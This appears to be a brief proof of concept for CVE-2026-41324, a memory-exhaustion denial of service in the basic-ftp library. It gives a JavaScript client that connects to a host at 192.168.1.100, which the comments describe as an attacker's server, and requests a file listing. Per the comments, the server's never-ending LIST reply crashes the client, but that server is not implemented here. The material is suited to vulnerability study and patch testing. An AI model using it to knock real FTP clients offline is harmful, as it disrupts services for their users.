CVE-2026-41324 basic-ftp内存耗尽漏洞

// PoC for CVE-2026-41324 (basic-ftp DoS) // This simulates a vulnerable client connecting to a malicious server. const { Client } = require('basic-ftp'); async function triggerVulnerability() { const client = new Client(); try { console.log("Connecting to malicious FTP server..."); // Attacker controls this server and sends infinite data on LIST command await client.access({ host: "192.168.1.100", user: "anonymous", password: "anonymous" }); // Triggering the unbounded memory growth // The server response to list() is crafted to be extremely large/never-ending console.log("Listing files..."); const files = await client.list(); console.log(files); } catch (err) { console.error("Error or Crash occurred:", err); } finally { client.close(); } } triggerVulnerability();